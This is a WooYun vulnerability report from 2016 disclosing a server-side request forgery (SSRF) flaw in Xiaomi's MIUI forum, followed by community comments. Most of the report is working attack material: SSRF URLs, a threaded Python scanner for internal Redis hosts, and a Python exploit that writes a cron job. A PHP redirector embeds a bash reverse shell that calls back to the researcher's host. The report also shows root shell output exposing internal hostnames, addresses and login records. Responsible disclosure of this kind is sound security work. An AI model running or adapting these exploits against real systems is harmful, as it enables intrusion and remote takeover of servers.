当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0215779

漏洞标题:小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本)

相关厂商:小米科技

漏洞作者: 猪猪侠

提交时间:2016-06-03 10:16

修复时间:2016-07-18 17:20

公开时间:2016-07-18 17:20

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-06-03: 细节已通知厂商并且等待厂商处理中
2016-06-03: 厂商已经确认,细节仅向厂商公开
2016-06-13: 细节向核心白帽子及相关领域专家公开
2016-06-23: 细节向普通白帽子公开
2016-07-03: 细节向实习白帽子公开
2016-07-18: 细节向公众公开

简要描述:

小米某处SSRF漏洞,已证明获取内网SHELL,很大很大的内网 (附多线程脚本)
PS: 不支持gopher协议

详细说明:

#1 存在漏洞位置,Discuz 论坛SSRF漏洞
http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?data=helo.jpg[/img]
#2 服务器支持dict、ftp、http协议
http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict%26ip=fuzz.wuyun.com%26port=8080%26data=helo.jpg[/img]
#3 通过信息泄露找到内网地址
phpinfo() 泄露服务器ip地址
http://game.xiaomi.com/activity/info.php

_SERVER["SERVER_ADDR"]	10.105.44.71
_SERVER["SERVER_PORT"] 8080
_SERVER["SERVER_NAME"] g.mi.com
_SERVER["REDIRECT_STATUS"] 200
_SERVER["SCRIPT_FILENAME"] /home/work/game.xiaomi.com/activity/info.php
_SERVER["HTTP_HOST"] game.xiaomi.com


xiaomi1.png


#4 内网服务探测规则原理分析
http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:8080
访问存在开放的8080端口,网页在1s内加载完成
http://fuzz.wuyun.com/302.php?url=ftp://10.105.44.71:8080
利用ftp协议访问开放的8080端口,网页保持Keep-Alive状态,直到出发nginx的超时
http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:11011
访问不存在的端口11011,触发了小米nginx的超时, 3.1s内加载完成
也就是说,我们可以通过页面加载完成时间,来探测内网开放的端口服务

漏洞证明:

#5 Know it, then Hack it
通过python的requests,设置一个timeout值,只要http请求2.8秒内没有响应,直接断开,如果成功响应,就说明端口开放

#!/usr/bin/env python
# encoding: utf-8
# email: ringzero@0x557.org
import requests
import time
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import threading
import Queue
threads_count = 20
scheme = 'dict'
port = '6379'
ip_block = '10.105'
class WyWorker(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
if self.queue.empty():
break
try:
url = self.queue.get_nowait()
content = requests.get(url, timeout=2.8).content
print url, 'OPEN', len(content)
except requests.exceptions.ReadTimeout:
pass
except requests.exceptions.ConnectTimeout:
pass
except Exception, e:
break
queue = Queue.Queue()
for c in xrange(0,255):
for d in xrange(0,255):
ip = '{0}.{1}.{2}'.format(ip_block,c,d)
payload = 'http://fuzz.wuyun.com/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format(
scheme=scheme,
ip=ip,
port=port
)
url = "http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]{payload}[/img]".format(
payload=payload)
queue.put(url)
threads = []
for i in xrange(threads_count):
threads.append(WyWorker(queue))
for t in threads:
t.start()
for t in threads:
t.join()


#6 6379 端口开放结果

lg-sec-weblog01.bj (10.105.0.23)
lg-miui-ad-se51.bj (10.105.0.24)
lg-im-micloud-pns09.bj (10.105.3.60)
lg-im-micloud-pns10.bj (10.105.3.61)
lg-im-mipush-xmq74.bj (10.105.3.62)
lg-miui-fc-mr02.bj (10.105.3.80)


#7 使用dict协议进行远程利用

#!/usr/bin/env python
# coding=utf-8
import requests
host = '10.105.0.23'
port = '6379'
bhost = 'fuzz.wuyun.com'
bport = '443'
vul_httpurl = 'http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]'
_location = 'http://fuzz.wuyun.com/302.php'
shell_location = 'http://fuzz.wuyun.com/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#2 set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format(
host = host,
port = port,
bhost = bhost,
bport = bport)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(shell_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#3 config set dir /var/spool/cron/
_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#4 config set dbfilename root
_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#5 save to file
_payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)


# 附加补充源码
302.php

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>


shell.php

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>


# 后话,成功获取到SHELL

[root@localhost wyssrf]# nc -l -vv 443
Connection from 42.62.103.30 port 443 [tcp/https] accepted
bash: no job control in this shell
[root@lg-sec-weblog01 ~]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@lg-sec-weblog01 ~]# /sbin/ifconfig -a
/sbin/ifconfig -a
eth0 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:10
inet addr:10.105.0.23 Bcast:10.105.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:111088533 errors:0 dropped:0 overruns:0 frame:0
TX packets:158878520 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:45520794026 (42.3 GiB) TX bytes:196616141142 (183.1 GiB)
Memory:dcb00000-dcc00000
eth1 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:11
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Memory:dcc00000-dcd00000
eth2 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:12
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Memory:dcd00000-dce00000
eth3 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:13
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Memory:dce00000-dcf00000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:75857851 errors:0 dropped:0 overruns:0 frame:0
TX packets:75857851 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:76991909461 (71.7 GiB) TX bytes:76991909461 (71.7 GiB)
[root@lg-sec-weblog01 ~]# last -20
last -20
root pts/0 10.21.100.82 Sat Oct 3 16:31 - 05:01 (12:29)
root pts/0 10.21.100.82 Tue Sep 22 14:49 - 14:49 (00:00)
root pts/0 10.21.100.81 Fri Sep 18 16:52 - 05:01 (12:08)
root pts/0 10.200.100.33 Wed Sep 2 12:23 - 15:21 (02:58)
root pts/0 10.200.100.33 Wed Sep 2 12:06 - 12:07 (00:01)
root pts/0 10.21.100.81 Tue Sep 1 10:45 - 11:20 (00:35)
root pts/0 10.200.100.33 Wed Aug 26 11:30 - 15:26 (03:56)
root pts/1 10.21.100.82 Fri Aug 21 04:19 - 05:01 (00:41)
root pts/0 10.21.100.82 Thu Aug 20 11:30 - 05:01 (17:30)
root pts/0 10.21.100.82 Wed Aug 19 11:14 - 05:01 (17:46)
root pts/0 10.21.100.82 Fri Aug 14 10:48 - 05:01 (18:12)
root pts/0 10.21.100.82 Mon Aug 10 09:00 - 05:01 (20:00)
root pts/0 10.21.100.82 Sun Aug 9 20:24 - 05:01 (08:36)
root pts/1 10.200.100.33 Fri Aug 7 10:48 - 14:49 (04:00)
root pts/0 10.21.100.82 Fri Aug 7 09:19 - 05:01 (19:41)
root pts/0 10.21.100.82 Thu Aug 6 09:05 - 05:01 (19:55)
root pts/0 10.21.100.82 Wed Jul 29 10:32 - 05:01 (18:28)
root pts/0 10.21.100.82 Tue Jul 28 20:33 - 05:01 (08:27)
root pts/0 10.21.100.82 Tue Jul 28 15:51 - 20:33 (04:42)
root pts/0 10.21.100.82 Tue Jul 28 15:50 - 15:51 (00:00)
wtmp begins Fri Apr 10 14:00:41 2015
[root@lg-sec-weblog01 ~]# rm /var/spool/cron/root
rm /var/spool/cron/root
[root@lg-sec-weblog01 ~]#

修复方案:

#1 更新补丁
#2 SSRF所在服务器,iptables禁止访问内网资源

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-06-03 17:16

厂商回复:

感谢猪猪侠对小米安全的关注

最新状态:

暂无


漏洞评价:

评价

  1. 2016-06-03 10:20 | 梧桐树下 ( 普通白帽子 | Rank:2784 漏洞数:424 | 一大波、洞、正在过来……)

    猪猪侠已经挖洞成瘾,尽快治疗。

  2. 2016-06-03 10:21 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1924 漏洞数:306 | 最近有人冒充该账号行骗,任何自称HackBrai...)

    我是来看猪哥多线程Fuzz脚本的

  3. 2016-06-03 10:21 | Fighter1028 ( 路人 | Rank:4 漏洞数:1 | 小白一名)

    猪猪侠已经挖洞成瘾,尽快治疗。

  4. 2016-06-03 10:26 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 记不清多久没撸站了......但每日必关注乌云)

    股市不好,时间就多了。

  5. 2016-06-03 10:28 | Sunshie ( 普通白帽子 | Rank:207 漏洞数:44 | )

    求脚本

  6. 2016-06-03 10:29 | Jumbo ( 普通白帽子 | Rank:132 漏洞数:33 | 猫 - https://www.chinabaiker.com)

    猪哥来个支持gopher的,来个ssrfsocks案例

  7. 2016-06-03 10:29 | boooooom 认证白帽子 ( 普通白帽子 | Rank:486 漏洞数:53 | 我有一个好想法!)

    牛逼

  8. 2016-06-03 11:15 | Catsay ( 普通白帽子 | Rank:113 漏洞数:27 | 屌丝一枚)

    好像是这个脚本吧http://fuzz.wuyun.org/src/ssrfsocks.py

  9. 2016-06-03 11:20 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:5460 漏洞数:423 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    @Catsay 怎么可能呢

  10. 2016-06-03 11:32 | wuyun ( 实习白帽子 | Rank:34 漏洞数:5 | ak41,妈妈说一定要好好学习。永远的六一二...)

    猪哥,是这个?http://fuzz.wuyun.org/src/ssrfsocks.py

  11. 2016-06-03 12:04 | 爱偷懒的98 ( 普通白帽子 | Rank:228 漏洞数:74 | 从前车马邮件都很慢,一生只够爱一个人。)

    猪猪侠已经挖洞成瘾,尽快治疗。 一个月500WB 请支付

  12. 2016-06-03 12:07 | prolog ( 普通白帽子 | Rank:1015 漏洞数:222 )

    @Catsay 怎么找到的

  13. 2016-06-03 12:10 | 苏宸 ( 普通白帽子 | Rank:130 漏洞数:36 | 不忘初心 方得始终.)

    weblogic_ssrf吗?

  14. 2016-06-03 12:14 | B1gstar ( 实习白帽子 | Rank:96 漏洞数:29 | 向各位学习来了。)

    送小米9一部

  15. 2016-06-03 12:17 | godbewithme ( 路人 | 还没有发布任何漏洞 | 喜欢学习安全相关的知识)

    牛B

  16. 2016-06-03 12:36 | xiaoyu. ( 路人 | Rank:22 漏洞数:6 | xiaoyu)

    666,,求看姿势,,

  17. 2016-06-03 13:16 | ckaexn ( 实习白帽子 | Rank:88 漏洞数:9 | ~)

    @猪猪侠 redis能用ssrf getshell?还是只是探测下端口

  18. 2016-06-03 13:41 | 小小白帽 ( 实习白帽子 | Rank:62 漏洞数:19 | 致力于代码审计和漏洞挖掘)

    留个名

  19. 2016-06-03 14:12 | shlhack‘s bother ( 普通白帽子 | Rank:461 漏洞数:156 | 以前有个梦,后来我醒了)

    马克

  20. 2016-06-03 14:12 | 大漠長河 ( 实习白帽子 | Rank:66 漏洞数:10 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区枫叶正...)

    又见大神力作

  21. 2016-06-03 14:13 | js2012 ( 普通白帽子 | Rank:126 漏洞数:44 | 闭关修炼。。。)

    乌云峰会有的看喽

  22. 2016-06-03 14:23 | 黑色的屌丝 ( 实习白帽子 | Rank:39 漏洞数:6 | →_→→_→)

    又见内网shell,赞

  23. 2016-06-03 15:51 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  24. 2016-06-03 16:13 | mango ( 核心白帽子 | Rank:2185 漏洞数:312 | 解决问题的第一步,是要承认问题的存在。)

    dict

  25. 2016-06-03 17:50 | Pharaoh ( 路人 | Rank:2 漏洞数:1 | hello world)

    膜拜

  26. 2016-06-03 18:28 | Catsay ( 普通白帽子 | Rank:113 漏洞数:27 | 屌丝一枚)

    @猪猪侠 猪哥 fenghui我要劫持你去啪啪啪

  27. 2016-06-03 21:14 | Dusk ( 实习白帽子 | Rank:81 漏洞数:38 )

    送小米-ZZX定制一部

  28. 2016-06-03 21:23 | heartk ( 普通白帽子 | Rank:212 漏洞数:56 | 保存心中那份热情,坚持心中那份梦想。)

    猪哥戒不了

  29. 2016-06-14 18:41 | SoulMask ( 路人 | Rank:4 漏洞数:1 | 除夕夜里即将放飞理想的有志青年)

  30. 2016-06-15 19:07 | Yuku ( 实习白帽子 | Rank:58 漏洞数:27 | 数据挖掘)

    论坛的?

  31. 2016-07-12 14:57 | Jumbo ( 普通白帽子 | Rank:132 漏洞数:33 | 猫 - https://www.chinabaiker.com)

    厉害,ssrf-内网ip泄露-扫描b段开放6379的redis服务器-最后写计划任务反弹shell